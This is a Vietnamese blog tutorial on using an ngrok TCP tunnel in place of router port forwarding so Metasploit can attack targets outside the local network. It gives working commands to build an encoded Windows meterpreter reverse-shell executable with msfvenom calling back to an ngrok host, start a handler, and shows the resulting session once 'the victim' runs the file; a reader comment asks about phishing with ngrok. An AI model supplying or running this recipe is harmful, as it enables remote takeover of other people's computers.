Ngrok Tunnel - Port Forward để tấn công ngoài Internet

TẤN CÔNG NGOÀI INTERNET: 

Mình rất hay nhận được các câu hỏi của các bạn dạng như "tại sao không thể sử dụng Metasploit ngoài mạng LAN", "muốn tấn công một mục tiêu ngoài Internet thì làm sao",... Và câu trả lời chung cho vấn đề này đó chính là Port Foward (chuyển hướng cổng). Tại sao lại cần phải chuyển hướng cổng để có thể tiếp cận mục tiêu ở ngoài internet?
Giải thích dễ hiểu, Port Forward tức là chuyển hướng cổng dịch vụ. Trong mạng LAN thì các máy tính có cùng một tầng mạng thì không phải chuyển hướng. Còn ngoài Internet tức là phải đi qua router, Port forward là một tính năng của router cho phép ta cấu hình chuyển hướng dữ liệu từ ngoài Internet vào địa chỉ IP của một thiết bị trong LAN.
Port forward.
Ví dụ như này, bạn hãy tưởng tượng là nếu bạn đang ở trong nhà, phòng A (thiết bị A) muốn tìm phòng B (thiết bị B) thì đơn giản rồi, không phải đi qua cửa chính (router). Còn người ngoài (Internet) muốn tìm anh A thì nhất định phải đi qua cửa chính, nếu ta không thiết lập Port forward thì coi như cửa đóng. Và các thiết lập Port forward như một bảng chỉ dẫn, phòng anh A số phỏng 192.168.1.105, vậy là thằng khách đi kiếm phòng có số y như vậy. Mà nếu không tìm ra thì tại vì bảng chỉ dẫn sai.
Vậy tóm lại ta có 2 vấn đề, để dữ liệu ngoài internet request đến thiết bị ta thì phải cấu hình port forward và cấu hình cho đúng địa chỉ IP của thiết bị.

NGROK TUNNEL - GIẢI PHÁP CỦA PORT FORWARD:

Với mỗi router khác nhau thì cách cấu hình Port forward cũng khác nhau, và ngoài ra thì cần phải có quyền truy cập để cấu hình nó nữa. Như vậy thì thật là phiền phức, vậy ta phải tìm một giải pháp nào đó tiện lợi hơn. Và câu trả lời là Ngrok. Có thể hiểu ngrok chính là một biện pháp thay thế chức năng Port forward của router.
Ngrok là một reverse proxy giúp người dùng internet bên ngoài mạng của bạn có thể truy cập vào localhost của bạn. Vì nó đứng giữa kết nối, nên nó có thể ghi lại các thông số và hỗ trợ bạn nhiều chức năng can thiệp khác như phân tích, log, repeate request…
Ngork được viết bằng Go. Hiện tại thì trang chủ ngrok cung cấp cho ta rất nhiều Plan cho những nhu cầu khác nhau, nhưng ta chỉ cần xài gói Free là đủ. Vì Ngrok viết bằng Go nên là nó có thể biên dịch cho nhiều hệ điều hành khác nhau.

SỬ DỤNG NGROK ĐỂ SỬ DỤNG METASPLOIT:

Sau đây là một hướng dẫn cụ thể khi dùng Ngrok để sử dụng Metaploit Framework.

Bước 1. Tải về và đăng ký tài khoản:

Như đã nói ở trên tùy theo hệ điều hảnh của bạn mà khi tải về sẽ có những file thực thi khác nhau tại trang download Ngrok.
Ở đây phiên bản hệ điều hành của mình là Kali Linux 2017.2 i386 nên mình tải phiên bản Linux 64-Bit.
Trong thời gian đợi tải, bạn hãy vào trang đăng ký tài khoản, có thể sử dụng thông tin giả cũng được, vì không phải xác nhận gì cả. Sau khi đăng ký xong, bạn sẽ được đưa đến trang Get Started.
Chú ý lấy mã token.
Như ở trên, bạn sẽ nhận được một đoạn mã authtoken, hãy lưu lại đoạn mã này.

Bước 2. Giải nén, phân quyền:

Sau khi tải về ta được file [[scode]]ngrok-stable-linux-386.zip[[escode]]. Hãy giải nén nó ra:
[[mcode]]$ unzip ngrok-stable-linux-386.zip[[ecode]]
Ta được file [[scode]]ngrok[[escode]] tiếp theo là phần quyền để chạy:
[[mcode]]$ chmod +x ngrok[[ecode]]
Lưu ý: Đừng cho chạy lúc này nhé.
Hãy di chuyển file trên vào thư mục [[scode]]/usr/local/bin[[escode]]:
[[mcode]]$ mv ngrok /usr/local/bin/[[ecode]]
Bắt đầu từ lúc này, ta đã có thể chạy ngrok với cấu trúc lệnh như sau:
[[mcode]]$ ngrok [tuỳ-chọn] [tham-số][[ecode]]
Giải nén, phân quyền, di chuyển và chạy thử.


Bước 3. Cấu hình và chạy:

Bây giờ, bạn hãy lấy cái mã authtoken lúc nãy và chạy lệnh:
[[mcode]]$ ngrok authtoken XXXXXVLjatYJCYrWnY8Sv_XXXXX4SKauk2UrmgtGquf[[ecode]]
Ví dụ, ở đây ta sẽ mở một tunnel vào cổng 4444 để chạy Metasploit:
[[mcode]]$ ngrok tcp 4444[[ecode]]
Tạo tunnel.
Tại đây, bạn sẽ có được những thông tin cần thiết để cấu hình bước tiếp theo, cụ thể là dòng
Forwarding     tcp://0.tcp.ngrok.io:19473 -> localhost:4444 

Bước 4. Tạo malware và mở handler:

Tạo malware:
[[mcode]]$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=19473 -f exe -e x86/shikata_ga_nai -i 10 > /root/Desktop/malware.exe[[ecode]]
Thiết lập và tạo malware.
Khởi chạy và cấu hình Metasploit:
[[mcode]]$ service postgresql start[[ecode]]
[[mcode]]$ msfconsole [[ecode]]
[[mcode]]msf > use exploit/multi/handler [[ecode]]
[[mcode]]msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp[[ecode]]
[[mcode]]msf exploit(handler) > set lhost localhost
lhost => localhost[[ecode]]
[[mcode]]msf exploit(handler) > set lport 4444
lport => 4444[[ecode]]
Thiết lập handler.

[[mcode]]msf exploit(handler) > exploit
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to ::1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on ::1:4444 [[ecode]]
Vậy là đã xong rồi, đấy, đợi khi victim chạy malware là ta sẽ có được một session:
[[lcode]][*] Sending stage (179267 bytes) to ::1
[*] Meterpreter session 1 opened (::1:4444 -> ::1:60764) at 2017-10-18 08:50:41 -0400

msf exploit(handler) > sessions

Active sessions
===============

  Id  Type                     Information           Connection
  --  ----                     -----------           ----------
  1   meterpreter x86/windows  Asu-PC\Phat @ ASU-PC  ::1:4444 -> ::1:60764 (::1)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : ASU-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows
meterpreter >[[ecode]]

TỔNG KẾT:

Như vậy là bạn đã có thể sử dụng Ngrok để tạo một tunnel đóng vai trò Port forward để phục vụ mục đích của mình rồi. Ngoài sử dụng Metasploit thì bạn còn có thể dùng nó để chạy các dịch vụ khác như http, ssh, ... hay thậm chí là dùng cho các thiết bị IOT.
Yêu cầu từ bạn Noragami Rel

Post a Comment

3 Comments

  1. Làm sao để phising web với Ngrok ạ?

    ReplyDelete
  2. Ông bạn này cùng tên mình không biết có cùng năm sinh không ? cũng cùng sở thích nhưng không học đúng chuyên ngành

    ReplyDelete
    Replies
    1. Nguyễn Đình Nhâm: Mình tên Phát bạn ơi :D Không biết bạn học ngành gì nhỉ?

      Delete